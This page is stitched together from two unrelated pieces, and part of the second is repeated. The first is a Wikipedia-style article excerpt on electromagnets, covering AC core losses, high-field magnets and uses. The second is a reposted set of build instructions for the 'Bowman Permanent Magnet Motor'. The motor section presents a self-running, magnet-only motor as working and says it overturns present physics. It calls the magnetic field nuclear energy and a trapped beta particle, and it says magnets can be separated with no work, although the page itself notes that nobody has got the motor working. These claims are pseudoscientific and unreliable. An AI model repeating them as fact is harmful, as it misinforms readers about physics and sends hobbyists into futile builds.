In alternating current (AC) electromagnets, used in transformers, inductors, and AC motors and generators, the magnetic field is constantly changing. This causes energy losses in their magnetic cores that are dissipated as heat in the core. The losses stem from two processes:
Eddy currents: From Faraday's law of induction, the changing magnetic field induces circulating electric currents inside nearby conductors, called eddy currents. The energy in these currents is dissipated as heat in the electrical resistance of the conductor, so they are a cause of energy loss. Since the magnet's iron core is conductive, and most of the magnetic field is concentrated there, eddy currents in the core are the major problem. Eddy currents are closed loops of current that flow in planes perpendicular to the magnetic field. The energy dissipated is proportional to the area enclosed by the loop. To prevent them, the cores of AC electromagnets are made of stacks of thin steel sheets, or laminations, oriented parallel to the magnetic field, with an insulating coating on the surface. The insulation layers prevent eddy current from flowing between the sheets. Any remaining eddy currents must flow within the cross section of each individual lamination, which reduces losses greatly. Another alternative is to use a ferrite core, which is a nonconductor.
Hysteresis losses: Reversing the direction of magnetization of the magnetic domains in the core material each cycle causes energy loss, because of the coercivity of the material. These losses are called hysteresis. The energy lost per cycle is proportional to the area of the hysteresis loop in the BH graph. To minimize this loss, magnetic cores used in transformers and other AC electromagnets are made of "soft" low coercivity materials, such as silicon steel or soft ferrite.
The energy loss per cycle of the AC current is constant for each of these processes, so the power loss increases linearly with frequency.
[edit]High field electromagnets
[edit]Superconducting electromagnets
Main article: Superconducting magnet
When a magnetic field higher than the ferromagnetic limit of 1.6 T is needed, superconducting electromagnets can be used. Instead of using ferromagnetic materials, these use superconducting windings cooled with liquid helium, which conduct current without electrical resistance. These allow enormous currents to flow, which generate intense magnetic fields. Superconducting magnets are limited by the field strength at which the winding material ceases to be superconducting. Current designs are limited to 10–20 T, with the current (2009) record of 33.8 T.[12] The necessary refrigeration equipment and cryostat make them much more expensive than ordinary electromagnets. However, in high power applications this can be offset by lower operating costs, since after startup no power is required for the windings, since no energy is lost to ohmic heating. They are used in particle accelerators, MRI machines, and research.
[edit]Bitter electromagnets
Main article: Bitter electromagnet
Since both iron-core and superconducting electromagnets have limits to the field they can produce, the highest manmade magnetic fields have been generated by air-core nonsuperconducting electromagnets of a design invented by Francis Bitter in 1933, called Bitter electromagnets.[13] These consist of a solenoid made of a stack of conducting disks, arranged so that the current moves in a helical path through them. This design has the mechanical strength to withstand the extreme Lorentz forces of the field, which increase with B2. The disks are pierced with holes through which cooling water passes to carry away the heat caused by the high current. The highest continuous field achieved with a resistive magnet is currently (2008) 35 T.[12] The highest continuous magnetic field, 45 T,[13] was achieved with a hybrid device consisting of a Bitter magnet inside a superconducting magnet.
[edit]Exploding electromagnets
The factor limiting the strength of electromagnets is the inability to dissipate the enormous waste heat, so higher fields, up to 90 T,[12] have been obtained from resistive magnets by pulsing them. The highest magnetic fields of all have been created by detonating explosives around a pulsed electromagnet as it is turned on. The implosion compresses the magnetic field to values of around 1000 T[13] for a few microseconds.
[edit]Uses of electromagnets
Electromagnets are widely used in many electric devices, including:
Motors and generators
Relays, including reed relays originally used in telephone exchanges
Electric bells
Loudspeakers
Magnetic recording and data storage equipment: tape recorders, VCRs, hard disks
Particle accelerators
Magnetic locks
Magnetic separation of materials
Industrial lifting magnets
Electromagnetic suspension used for MAGLEV trains
[edit]Definition of terms
square meter cross section area of core
tesla Magnetic field
newton Force exerted by magnetic field
ampere per meter Magnetizing field
ampere Current in the winding wire
meter Total length of the magnetic field path
meter Length of the magnetic field path in the core material
meter Length of the magnetic field path air gap
ampere meter Pole strength of the electromagnets
newton per square ampere Permeability of the electromagnet core material
newton per square ampere Permeability of free space (or air) = 4π(10−7)
- Relative permeability of the electromagnet core material
- Number of turns of wire on the electromagnet
meter Distance between the poles of two electromagnets
[edit]See also
Dipole magnet - Electromagnet used in particle accelerators
Electromagnetism
Magnetic bearing
Quadrupole magnet - Electromagnet used in particle accelerators
Superconducting magnet - Electromagnet that uses superconducting windings
Bitter electromagnet - a powerful type of electromagnet
[edit]References
^ Olson, Andrew (2008). "Right hand rules". Science fair project resources. Science Buddies. Retrieved 2008-08-11.
^ Wilson, Adam (2008). "Hand Rules". Course outline, EE2683 Electric Circuits and Machines. Faculty of Engineering, Univ. of New Brunswick. Retrieved 2008-08-11.
^ Gussow, Milton (1983). Schaum's Outline of Theory and Problems of Basic Electricity. New York: McGraw-Hill. pp. 166.
^ Millikin, Robert; Edwin Bishop (1917). Elements of Electricity. Chicago: American Technical Society. pp. 125.
^ Fleming, John Ambrose (1892). Short Lectures to Electrical Artisans, 4th Ed.. London: E.& F. N. Spon. pp. 38–40.
^ Fleming, John Ambrose (1902). Magnets and Electric Currents, 2nd Edition. London: E.& F. N. Spon. pp. 173–174.
^ Sturgeon, W. (1825). "Improved Electro Magnetic Apparatus". Trans. Royal Society of Arts, Manufactures, & Commerce (London) 43: 37–52. cited in Miller, T.J.E (2001). Electronic Control of Switched Reluctance Machines. Newnes. pp. 7. ISBN 0750650737.
^ Windelspecht, Michael. Groundbreaking Scientific Experiments, Inventions, and Discoveries of the 19th Century, xxii, Greenwood Publishing Group, 2003, ISBN 0-313-31969-3.
^ Sherman, Roger (2007). "Joseph Henry's contributions to the electromagnet and the electric motor". The Joseph Henry Papers. The Smithsonian Institution. Retrieved 2008-08-27.
^ Feynmann, Richard P. (1963). Lectures on Physics, Vol. 2. New York: Addison-Wesley. pp. 36–9 to 36–11. ISBN 020102117XP., eq. 36-26
^ a b Fitzgerald, A.; Charles Kingsley, Alexander Kusko (1971). Electric Machinery, 3rd Ed.. USA: McGraw-Hill. pp. 3–5. ISBN 07021140X.
^ a b c "Mag Lab World Records". Media Center. National High Magnetic Field Laboratory, USA. 2008. Retrieved 2008-08-31.
^ a b c Coyne, Kristin (2008). "Magnets: from Mini to Mighty". Magnet Lab U. National High Magnetic Field Laboratory. Retrieved 2008-08-31.
[edit]External links
Wikimedia Commons has media related to: Electromagnets
Magnets from Mini to Mighty: Primer on electromagnets and other magnets National High Magnetic Field Laboratory
Magnetic Fields and Forces Cuyahoga Community College
Fundamental Relationships School of Geology and Geophysics, University of Oklahoma
Friday, May 28, 2010
Bowman Permanent Magnet Motor
How to Build a Bowman Permanent Magnet Motor
Note: as of Nov. 6, 2004, no one has been able to get a motor working based on these plans.
Introduction - a working device
Concept Modeling: How it Works (intro)
How Magnets Work - includes pertinent drawings
How the Motor Works - includes pertinent drawings
Specs - materials and tolerances
Assembly - how to put it together
Bill of Materials
Epilogue
Issues
Credits - primary Douglas A. Mann
= pertinent to replication
Introduction
Dec. 14, 2003
Douglas Mann says he has successfully built a working Bowman Permanent Magnet motor. The approximate 1-foot-square device puts out 9 inch-pounds of torque, and can turn under load. With no load, the main shaft spins at 30 rpm. It does not accelerate to destruction but reaches a maximum speed and goes no faster. "You can run it as long as you want," he said. [See "issues"]
Purportedly, there are other working magnetic motors in operation in other places around the planet, but none are currently accessible for view by the world at large. This Bowman device successfully replicated by Douglas Mann may be the first to be made thus available, along with a complete set of instructions of how to replicate it.
One of Mann's friends his dismantled his motor and rebuilt it, and was able to successfully get it to work; and important milestone.
Mann used the instructions given at http://www.freeenergy.co.za/, among other places; but introduced some modifications of his own in order to get the device to work. His is a scaled up version: 8-inch main rotor rather than 4 inches.
I have been in communication with Doug Mann by phone, and he has related a complete set of instructions of how to build one of these devices. This page presents a complete set of instructions, given freely, with his permission.
Photos and video footage are pending but are not necessary for successful replication.
How the Bowman Magnetic Motor Works
Mann asserts that if a person understands the principle behind how the Bowman device works that the mechanics of replicating it become easier.
He said he had been working on this design for years but to no avail. At one point he decided he first needed to understand how magnets work. It was after that study that he was able to produce a working device.
He seems to have a developed gift to visualize what the magnetic fields are doing in four-dimensions (3D plus time). "I can see into these things," he said.
The fact (if it is as he says it is) that he has successfully built a working magnetic motor should be credential enough to his natural ability.
Depending on the manufacturer, the technique, and the magnet, the properties of magnets vary as much as 30% within even one batch. Some magnet distributors are particular about the uniformity of the magnets they sell, but even then there will be variation between magnets.
Hence, this magnetic motor is not something that can merely be described by blueprints alone. There are certain elements that must be "tuned" in assembling the components of each unit. Mann has identified what those elements are, eliminating the guesswork, and making it a matter of scientific method.
As we progress with this open sourcing project, there are a lot of variables that should be introduced and characterized, but first the task is to accomplish a simple replication.
Mann was hoping to come upon a way to use the entire magnetic force for motive power. However, this present design requires at least half of the magnet power to be used to counter-act one magnet with another, the remaining is tappable for power. He doesn't think more than that can be tapped. Perhaps someone will show him wrong someday, even as he is showing the present models of physics to be incorrect.
Where Next
Instructions > How it Works > How Magnets Works
Instructions > How it Works > How the Motor Works
How Magnets Work
Understanding How Magnets Work in the Bowman Magnetic Motor
Don't Let the Magnets Smack Into Each Other
First, a word of caution. When working with magnets, it is very easy to accidentally have them smash into each other.
According to Mann, this must be avoided because the shock messes up the magnetic pole structure. If two magnets do smack together, you will need to re-measure them to see if their strength has been effected, and if so, how much, so you can regroup your magnets.
A Magnet's "Neutral Spot"
Mann has studied the shape that a magnetic field emits relative to the length versus width of the magnet. He has noted that the ratio of width to length of Bowman's magnets are consistently about 1 : 4.5.
Anything that is a ratio of 1:4 or less fits into classification called a "holding magnet." The defining characteristic is that as one moves along the magnet from North to South, the neutral point midway where the figure eight shape crosses is infinitesimally small.
But when a magnet goes beyond this ratio, that neutral point becomes a significant factor, stretching over a small length in the middle.
Much longer ratios begin to create a harmonics effect in which additional North-South polarities arise within the length of the magnet -- another magnet within the length of the magnet.
This ratio is a crucial element of the Bowman Magnetic Motor. All of the magnets are of the same length and width (ratio, can be scaled up or down), including the actuator magnet, in Mann's successful construction of Bowman's device.
Difference between Attraction and Repulsion
Mann said that repulsive forces work better close-up, and attractive forces work better at a distance, relatively speaking (we all know the overall strength of a magnet increase the closer the poles get to each other from adjacent magnets). The magnets emit a different concentration of force lines under attraction -- more spread out -- than they do under repulsion -- bunched together. Expect the neutral spot of a magnet to be offset from the physical center accordingly when one magnet is held 90º to the other. This becomes important in the proper placement of the actuator magnet in the "neutral zone" of the main rotor. The movement from this zone effects the function of the operation in a "tuning" sort of way. It is not a "hit or miss" scenario.
Magnetic Strength Proportional to Radii of Rotors
The magnets Mann purchased happened to be appropriate for the radius of of the device he constructed. He said that the stronger the magnets, the more distance will need to be placed between adjoining magnets or they will begin interfering with one another.
The highest power Neodymium magnets available today, [N...] , of the same size Mann used for this device, would call for the main rotor to be at least 18" in diameter.
On the other hand, magnets of a lower Gauss rating would require a smaller rotor diameter for optimal performance.
Nature of Magnetic Lines of Force
Just what the nature of the lines of force are is not required understanding for the Bowman motor. Mann agrees with Johnson and the patent office that accepted Johnson's patent that stated that the magnetic field produced by the permanent magnet is a form of nuclear energy. Mann said that is could be a high energy beta partial that can not escape the total internal reflection of the crystal lattice in the mass of the magnet. He also postulates that the present models of electromagnetic motor operation will need to be revisited by science when they see this magnetic motors in operation. The model that the AIAS has formed is more likely to be right. (&^& need ref)
Mann has studied Tom Bearden’s work and find that this type of process is common to nature. If Tom Bearden’s model is right then the motor will weight less under a load. Mann has not yet tested that hypothesis.
Theory of Magnetic Instability (TOMI)
Mann cites the following document as a seminal piece for its presentation of how magnetic forces work.
http://www.fortunecity.com/greenfield/bp/16/magnetic.htm
He highlighted in particular the following:
Tri-polar interaction:
In this configuration, notice:
1. The north pole of the horizontally presented magnet is further from the north pole of the left magnet, and this distancing isolates the interaction which normally occurs at closer range.
2. There is no longer an either/or relationship between the two magnets with regard to attraction or repulsion being operative in the system, but a simultaneous attraction/repulsion function operating between the two poles of the left magnet (stationary for this experiment) and the single south pole of the right magnet (non stationary).
3. The free magnet will move, not perpendicular but parallel with the lines of force. And it will always settle at a midpoint between the two poles of the stationary magnet on the left.
4. Contrary to the law of inverse squares, there will not be a magnetic lock between the two bodies, so no work is required to separate them.
This illustrates the angle at which he places his actuator magnet in relation to the magnets on the main rotor.
How the Bowman Magnetic Motor Works
How it Works
Here are some sketches Mann pulled together using a rudimentary drawing program. Sizes and shapes are not precise. The purpose is to illustrate the field interaction during rotation.
Douglas A. Mann's Sketches
Front face view
Net resistance is zero without actuator in place. (Target [after tuning]) Rotors spin freely as if no magnets exist.
* * * * * *
Introduction of Actuator magnet begins rotors in motion. Mann says some of the lines of magnetic force are drawn to the actuator, freeing up the lines of force from other magnets in vicinity, allowing magnets in QA1 to do work.
Note: When the Actuator is placed in the QA2 region, the rotation direction reverses.
Note: The optimal position for power output is for the actuator to be in the QR2 region in an attracting mode.
* * * * * *
Top view
Note labeling of the "Attracting rotor" and "Repulse Rotor"
* * * * * *
Actuator magnet must be placed equally repelling North, and attracting South poles of the power rotor magnets, so there is no load on the power rotor from the Actuator magnet fields. The effect of the Actuator will take up most of the flux from the passing power rotor magnets. This will reduce the force QR2 in figure 1. Then the force QA1 in figure 1 will cause rotation.
Important note relevant to strength of magnets and diameter of rotors: If the magnets are too strong, the fields will overlap and interfere. If they are too weak, the device will not self-start when the actuator is put in position.
You are here: PES Network Inc > Open Sourcing Projects > Magnetic Motors > Bowman > Instructions > Specs
Bowman Magnetic Motor Specs
Design Specifications
Mann said he used the dimensions of the Bowman motor given at http://www.freeenergy.co.za/ (complete URL is in link, not spelled out here because of its length [printout copies, try http://tinyurl.com/z5es]).
Drawings
Mann said these drawings are to scale, and that they are accurate with exception of the actuator. He changed some of the materials too. He took the below image, printed it, and enlarged it to 2x scale and used it as a blueprint. The image comes from http://www.icehouse.net/john1/peter.html
click for enlarged gif
Here are some additional drawings:
Note that as rotors turn, the meeting magnets will be aligning most closely on the horizontal plane exactly. This relationship is maintained between every magnet in turn. Without the actuator, a baseline target is a perfectly balanced "zero resistance" state, freely turning. See "tuning" instructions below.
Dimensions and Materials
According to the page Mann referenced, along with notes he conveyed by phone, here is a materials list. All materials, besides magnets, need to be non magnetic conducting. (See note: Use non-magnetic materials for rotors and body.)
NOTE: Where Mann used Delron, he would like to use Lexan, which is see-through, making for a better demo unit.
Scale: Do conversions based on main rotor diameter = 8 inches.
Rotor Magnets:
"NEO 32" [Neodymium 32; Gauss = ?]
Shape: cylindrical
Magnetism - polarity at ends.
Size: 3/8 inch diameter by 1.75 inch long. Mann said he went with this size because it is an "off-the-shelf" standard size. [Remember: Exact size is not as crucial as the 1 : 4.5 ratio of width to length.]
Quantity: Buy extra so you can select those of the closest actual Gauss.
Orientation: The magnets are situated lengthwise in the rotors, parallel with the shafts that hold the rotors.
Ends of magnets "were accordingly ground so as to pass close to opposing wheels with only a minute gap." Mann did not grind his Neodymiums, but selected the most uniform and used them as is.
Plating: Mann's magnets were Ni-plated (protects from corrosion of the Neodymium).
Actuator Magnet:
"NEO 32" [Neodymium 32; Gauss = ?]
Shape: rectangular box
Magnetism - on the flat side, with the 1/2" dimension holding the polarity.
Size: 1/2" x 3/8" x 1 3/8 "
Note: The ratio of dimensions is 3 x 4 x 11.
Note: The ratio of the length of the actuator magnet to the length of the rotor magnets is about 80%
Quantity: Buy extra in case the one is damaged.
Orientation: The south pole is closest to the rotor. The length of the magnet is parallel to the shaft of the rotor.
Plating: Ni-plated
Rotors:
The large rotor diameter is 8 inches, using Delron, milling the magnet holes so they nearly breach tangent, allowing close proximity to the actuator magnet.
The two small rotors diameters are 4 inches (to perimeter of magnet; extra material beyond is okay here), using Delron.
Thickness: not crucial, but should be adequate to (1) hold magnet securely, (2) allow for some adjustment of the 1.75" magnets parallel to shaft. Recommended: 1 inch.
Magnet holes are milled for tight fit of magnets so they can be adjusted with ~15 lbs pressure, but stay fast against the ~5 lb pressure when passing other magnets when installed and in motion. [Paper can be used as a temporary wedge. Glue could be used (but not until optimal position is determined by the timing procedure given below); or plastic synch screws could be fashioned].
Hole positions for magnets:
On small rotors: Exactly 0º, 90º, 180º, 270º; situated with outside edge of magnet as specified in the drawing. Material may extend beyond for strength in holding the magnet.
On large, main rotor: Exactly 0º, 45º, 90º, 135º, 180º, 225º 270º, 315º; situated with outside edge of magnet as specified in the drawing. Material should just end where the magnets end, so the actuator magnet can get close. A small amount of coverage (full enclosure) beyond the magnet would be okay for strength, but not more than 1.5 mm.
Note: If the actuator gets too close to the main rotor magnets, a "locking effect" comes into play, so some clearance is not only okay, but actually necessary.
Mann recommends that when machining the holes for the magnets that the bits turn at low speed. The higher speed tends to melt the plastic and leave a larger hole, through which the magnet does not fit snugly. In this case, you can use paper wedges to restore a snug fit.
Bearings
See: Bearings Considerations
Frame:
Device is mounted on a ~½-inch (thickness not crucial) Delron base.
Two upright sheets that hold the shafts are also made of Delron ~½-inch (thickness not crucial)
stainless steel bolts used to fasten the vertical support to the horizontal support.
Shafts: three parallel shafts
made of "3-16 stainless steel" [not sure of nomenclature representation in writing]
½-inch diameter.
center shaft needs extra length to attach to load (e.g. torque wrench)
position of small rotors on shaft needs to be adjustable to within 1/1000ths of an inch, and +/- ½ inch in relation to main rotor as shown in diagram.
Gears:
2:1 ratio spin rate of small rotors in relation to main rotor.
the center, large rotor spins in opposite direction to the two smaller rotors on either side.
Material: Mann had his gears made of steel. "They are far enough away from the magnets," he said.
Tolerance: very tight.
Configuration: standard "3rd gear / spur gears" so there is no clicking as the gear tines come together. using ½-inch belt.
Alternative: Not recommended until Mann's device has been replicated successfully as is.
Belt System - ½-inch belt.
Chain Sprocket
Actuator Holder:
Needs to have a plastic thumb screw to hold magnet as close as possible to main rotor, and be able to move +/- ½ inch in any direction relative to that position.
Misc tools needed
Torque wrench: typical, inexpensive, measures foot-lbs. Mann uses a 240 in-lb range wrench 1/4 drive. He said the force range that most will be working in is about 15 inch-lb max to zero.
Estimated Tolerances for Possible Variations
Some aspects are crucial, others have leeway, as indicated here:
Material Composition
Needs to be non-magnetic conducting.
Magnets: flexible to approximate Mann's working device.
Type may vary, as long as the Gauss is +/- ~20% of the Alnico 8s.
Size may be +/- ~20%, but should maintain the 1 : 4.5 ratio of width to length
rectangular v. cylindrical: may be interchangeable (though not with identical output, as rectangular magnets are stronger).
Mann calculated Bowman's rectangular magnets to be of dimension 5/8" x ½" x 2¼" (note: ½ : 2¼ gives the 1 : 4.5 ratio; while 5/8 : 2¼ gives a ratio of 1 : 3.6. Mann's tests show that the smaller face sets the ratio.)
He had two sets of magnets: Alnico, and NEO. He first unsuccessfully tried the Alnico magnets, but was able to get the NEO magnets to work.
Rotors: size: flexible
increase or decrease of size should approximate increase or decrease in Gauss of magnets relative to Mann's Alnico 8s.
main rotor needs to be 2x size of smaller rotors, which need to be the same diameter.
rotor positions relative to one another needs to be adhered to closely, proportionately.
Gearing: 2:1 precisely, no variations.
Shafts: thickness, length, and material not crucial except that the material should not be magnetically conducting.
Note: For purposes of successful replication, you would be best advised to stay as close as possible to Mann's design. At the same time, it would be good to implement means by which you can begin to introduce variations, once you achieve successful replication, in order to begin characterizing the device. See Points of Design Variation for Characterization and Optimization below.
Putting the Bowman Magnetic Motor Together
Manufacturing the Base, Vertical Support, and Rotors
See auxiliary tips: Cutting out pieces
See How to find the magnet radius on your rotors
Situating the Rotors Horizontally
Mann says the alignment of the rotors horizontally is important so as to get the right overlap of magnets. The magnets are not to be "face to face" when they come into horizontal position, but are to be offset by a little less than half the width of the magnet, looking from the front. There may be some leeway in this aspect.
This illustration is misleading, as there is no horizontal gap.
Magnets actually overlap a little less than 1/2 the width of the magnet.
* * * * *
The overlap shown in the above animation by Eric Vogels is what Mann says is the correct overlap.
Orientation of the Actuator
The orientation of the actuator in relation to horizontal should be about 35º (some leeway), and in relation to the main rotor tangent 90º.
In the illustration at the right (see enlarged view) Mann said the preferred position is somewhere between 1B and 2B, but closer to 1B, and at 90º to tangent of the main rotor.
Mann thinks the actuator magnet could be bigger than the magnets in the rotor, but he used the same size of magnet.
He says there is quite a bit of lee-way in the placement of the actuator. (I presume this means in the plane of alignment with the main rotor, 90º to tangent of the main rotor.)
The south pole is closest to the rotor. The length of the magnet is parallel to the shaft of the rotor.
Note: Illustration is not of Mann's
rotor or magnet. The actuator
magnets are rectangular, not cylindrical; and they run parallel
to the shaft
Timing
One of the keys to the motor's operation is a proper timing protocol whereby (1) the magnets are arranged correctly within each rotor front to back (parallel with shaft); and (2) the rotors are aligned correctly in relation to each other, front to back (parallel with the shaft); and (3) the actuator is aligned in relation to the main rotor. Perfect alignment is not required for function, but near approximation of perfection gives better results than a sloppy approximation.
Because of the way attraction works compared to repulsion (explained above), the attracting rotor will be situated a little further away than the the repelling rotor. Mann said in his case, the attracting rotor was about 60/1000 away from the main rotor, while the repelling rotor was about 20/1000 away from the main rotor. Bowman purportedly got his to within 5/1000.
A. Characterizing the Magnets for Uniform Distribution
The first thing Mann does before assembling the rotors is to run a rough gauss test on each magnet and then group them according to their strength.
He concurred with the following protocol. (Other methods can accomplish the same objective.) A gauss meter could be used instead.
Fix one magnet stationary -- the reference magnet.
Fix a small inert spacer over the magnet, e.g. 2 mm. Exact distance is not crucial, except that all magnets be measured with the same distance.
Devise a means of fastening a scale (weight) to a magnet to determine the force required to separate it from the reference magnet.
Record the reading for each magnet.
Order the magnets from strongest to weakest.
Group the magnets in two sets of four, and one set of eight, of relatively close magnetism.
Mann purchased 29 magnets and used 16.
B. Zero Out the Main Rotor in Relation to the Actuator
Note: a different magnet is used in the actuator position for the balancing of the rotor. A more narrow magnet, with poles at the end is preferable. A rotor magnet could be used.
Fix the actuator (substitute) magnet in place as close to the main rotor as possible.
One by one, move the magnets until they pass by the actuator without any resistance -- the N/S attraction/repulsion balancing each other out.
When done, the rotor should spin freely as though no magnets were present.
Note: Mann says "sometimes you will just need to turn a magnet 1/4 turn before it will match fields."
C. Put Actuator Magnet in Place and Mark Position.
Replace the temporary actuator with the actual actuator magnet, and position it very [(e.g. 2 mm) need exact specs] close to the rotor.
Orientation: The south pole is closest to the rotor. The length of the magnet is parallel to the shaft of the rotor.
Position the actuator magnet on its x,y horizontal axis so that the rotor turns freely as though no actuator were present.
Mark the position of the actuator to within 1/1000 and then remove it.
Mark the position of the main rotor to within 1/1000 in case it needs to be taken off and then put back on (not part of calibration, but take-down and set-up).
D. Calibrate Repelling Rotor
Calibrate each of the repel rotor magnets in relation to the main rotor so they yield the same torque reading on the torque wrench. Calibration is done by moving the repelling rotor magnets forward or backward, parallel to the shaft.
Remove the attract rotor, so only the repel and main rotors are in place.
Make sure the rotors are set on their gears so that the magnets are are exactly horizontally aligned when they come into juxtaposition on the horizontal plane that bisects the center of the rotors.
Position the first repel rotor magnet so it is evenly set on the rotor, with the same amount of overhang on the front and back of the rotor. (not essential, just practical and aesthetic)
Move the rotor out of position radially and then measure the torque required to bring that magnet past the point of repulsion.
Repeat three or four times to get a best average reading.
Using that reading as a standard, now adjust the remaining three magnets so they give the same reading on the torque meter.
Move the entire repel rotor along the plane of the shaft so it is as close as you can get it without the magnets actually touching.
Check again the torque reading, and record this number so you can repeat it for the attract rotor.
Mark the position of the main and repel rotors to within 1/1000ths, so when the repel rotor is removed to calibrate the attract rotor, it can be put back in place to within 1/1000ths of an inch.
Remove the repel rotor.
E. Calibrate Attract Rotor
Calibrate each of the attract rotor magnets in relation to the main rotor so they yield the same torque reading as was given for the repel rotor above.
Only the repel rotor in in place, with the main rotor. (Repel rotor is removed.)
Make sure the rotors are set on their gears so that the magnets are are exactly horizontally aligned when they come into juxtaposition on the horizontal plane that bisects the center of the rotors.
Repeat the steps given for the repel rotor calibration, except set each magnet to equal the standard derived from the repel calibration.
You may wish to position magnets so they are nominally centered on the rotor, rather than hanging more to one side or the other. (not essential, just practical for balance and aesthetics).
Mark the position of the main rotor and attract rotors to within 1/1000ths, so they can be removed and put back on without having to recalibrate.
F. Put all rotors in place: system should be balanced (zero)
After putting all three rotors in place as calibrated and marked, the rotors should now spin freely as if no magnets were in place. The only resistance should be that of the gears (or belt) and bearings. This is the milestone, which if reached, leaves just one step to realize the desired result: self-movement with addition of actuator.
G. Replace Actuator: Viola
Put the actuator into place as calibrated in step C.
The motor should begin spinning.
Bill of Materials
List is in process of being completed. Whichever engineer is the first to be able to visit Mann should document all of these specs.
See also: Sourcing
Summary of Costs
From: Mark Hayton
To: PES_BMM@yahoogroups.com
Sent: Saturday, February 07, 2004 12:46 PM
Subject: RE: [PES_BMM] Cost of building Bowman motor
At current count, I believe I have bought all my parts for less than $500.00..
Mark Hayton
Parts List
From: [Douglass Mann]
To: "Sterling D. Allan"
Sent: Sunday, January 11, 2004 10:59 PM
Subject: Re: Doug -- we need precise measurements from Steve
Sterling,
Part list and detail information for unit 0 .
Later
Douglas
Part list for Unit 0 reproduction
Gear Set for : Unit 0
I have no part number yet, but here are the sizes.
Small gears
number small gears 2
24 diametric pitch
80 teeth
pitch diameter 3.3333
.187" wide + or - OK But to wide will have more drag.
hub/ ½" bore with key way & ss or some fixing system
carbon steel
large gear
24 diametric pitch
160 teeth
pitch diameter 6.6666
.187" wide
carbon steel
hub/ ½ " bore with key way & ss or some fixing system
Shafts
stock McMaster-Carr part number 89325K25
There are 3 shafts ½" diameter 23 3/4" long with standard key way on the gear ends
non-magnetic 316 stainless steel.
Bearings
There are 6 ball bearing all being the same size, but having some differences noted below.
Three of the ball bearings are McMaster-Carr part number 6383K41 open; this was done to lower drag. These three bearing that are used on the gear side of the motor away from the magnetic fields.
The three 304 stainless steel ball bearing McMaster-Carr part number 5908K17 open.
These were used on the magnetic rotor side to help reduce possible magnetic hanging.
There are three Bronze Sleeve used as spacers. McMaster-Carr part number 6391K124.
These are used between the gears the bearings , and may or may not, be cut down to set the shafts in play lash. They will go through a hole in the end support plate to push on the inter bearing race .
There are six one piece clamp-on Collars used to set the shafts in play .
Three that are used on the gear side McMaster-Carr part number 6435K14 steel.
Three that are used on the magnetic rotor side are part number 6435K34 303 non magnetic stainless steel
The Base Plate is1 inch thick by 12 inch wide and 24 inch long. The end support plates are 14 inch a part center to center. On the end that the magnetic rotors are to be places; the first end support plat is 6 ½ inch back from the end of the base plate to the center of the end support plate.
The Both End Plates are the same. The bearings are counter sunk into the end plates, so that they are flat with the insides. The through hole that shaft goes through is sized so that the bronze sleeve does not rub. The counter sunk are place to the inside then the clamp-on collars keep the shafts in play to .001 The end plates are 12" by 6 ½" by 1".The shafts are 5" on center and 5 ½" from the base plate. The end plated are fixed in place to the base plate with 4 SS bolts each.
Preface
[Jan. 1, 2004]
TO: PES_BMM@yahoogroups.com
FROM: mwiseman1@cox.net
RE: Bill of Materials for an exact replication
In order to replicate Douglas A. Mann's system exactly, the unspecified details are needed.
Ideally, the exact mfgr part and batch numbers should be specified. Here's what I got from the website, please correct as indicated, and make as comprehensive as possible:
List
Qty 16 (get extra), Neo magnets, Ni-plated N32 cylindrical, 3/8 inch diameter by 1.75 inch long. Polarity: poles on ends.
Qty 1 (get extra), Neo magnet, Ni-plated N32 rectangular, 1/2" x 3/8" x 1 3/8. Polarity is on the flat side, with the 1/2" dimension face holding the N-S polarity.
Qty 1, rectangular Delron sheet .5" thick, length x width unspecified.
Serves as support base of system.
Qty 2, rectangular Delron sheet .5" thick, length x width unspecified.
Serves as vertical shaft support pair.
Qty 1, 8" disc, cut from a Delron sheet .5" thick
Serves as main rotor.
Qty 2, 4" disc, cut from a Delron sheet .5" thick
Serves as side rotors.
Qty 1, piece cut from a Delron sheet .5" thick? length x width
unspecified.
Serves as Actuator magnet Holder.
Qty 3, #3-16 stainless steel rod .5" dia., lengths unspecified.
Serves as rotor shafts.
Qty 1, steel gears, unspecified pitch, style, diameter, thickness,
weight, hardness.
Serves as main rotor gear.
Qty 2, steel gears, unspecified pitch, style, diameter, thickness,
weight, hardness.
Serves as side rotor gears.
Qty 6, ball bearings, .5" ID. Unspecified rating.
Serves as side and main rotor shaft bearings.
Qty, pitch/length sizes and material unspecified, Screws.
Placements unspecified. Serves as device to affix Delron structural supports together.
Epilogue
Mann told me that he still gets a thrill when he watches the device begin to turn when he engages the actuator. "It's the strangest sensation to see it turning," with nothing more than just magnets positioned in the right way. He is still incredulous when he watches it, hardly believing what he is seeing.
As of our phone conversation, he hadn't even told his wife about the project yet, he is being very careful about its preservation.
He is grateful to be so close to a point where he can now share this with the world. His dyslexia makes it difficult for him to write, so he wants to be able to have one place on the Internet where everyone can go to get a complete set of instructions along with "Frequently Asked Questions." Images, still and video, are pending.
"Bowman has harnessed the law of action and reaction and put it into motion." Mann says it should be called the "free motive force."
"Electric waves could do the same thing," says Mann. "That may have been what Tesla was doing."
Bowman applied for a patent for his device, but the application was denied. It would be nice to get a hold of that application, though Mann seems to have been able to do pretty good without it.
URL : "http://www.pureenergysystems.com/os/MagneticMotors/BMM/plans/index.html"
Note: as of Nov. 6, 2004, no one has been able to get a motor working based on these plans.
Introduction - a working device
Concept Modeling: How it Works (intro)
How Magnets Work - includes pertinent drawings
How the Motor Works - includes pertinent drawings
Specs - materials and tolerances
Assembly - how to put it together
Bill of Materials
Epilogue
Issues
Credits - primary Douglas A. Mann
= pertinent to replication
Introduction
Dec. 14, 2003
Douglas Mann says he has successfully built a working Bowman Permanent Magnet motor. The approximate 1-foot-square device puts out 9 inch-pounds of torque, and can turn under load. With no load, the main shaft spins at 30 rpm. It does not accelerate to destruction but reaches a maximum speed and goes no faster. "You can run it as long as you want," he said. [See "issues"]
Purportedly, there are other working magnetic motors in operation in other places around the planet, but none are currently accessible for view by the world at large. This Bowman device successfully replicated by Douglas Mann may be the first to be made thus available, along with a complete set of instructions of how to replicate it.
One of Mann's friends his dismantled his motor and rebuilt it, and was able to successfully get it to work; and important milestone.
Mann used the instructions given at http://www.freeenergy.co.za/, among other places; but introduced some modifications of his own in order to get the device to work. His is a scaled up version: 8-inch main rotor rather than 4 inches.
I have been in communication with Doug Mann by phone, and he has related a complete set of instructions of how to build one of these devices. This page presents a complete set of instructions, given freely, with his permission.
Photos and video footage are pending but are not necessary for successful replication.
How the Bowman Magnetic Motor Works
Mann asserts that if a person understands the principle behind how the Bowman device works that the mechanics of replicating it become easier.
He said he had been working on this design for years but to no avail. At one point he decided he first needed to understand how magnets work. It was after that study that he was able to produce a working device.
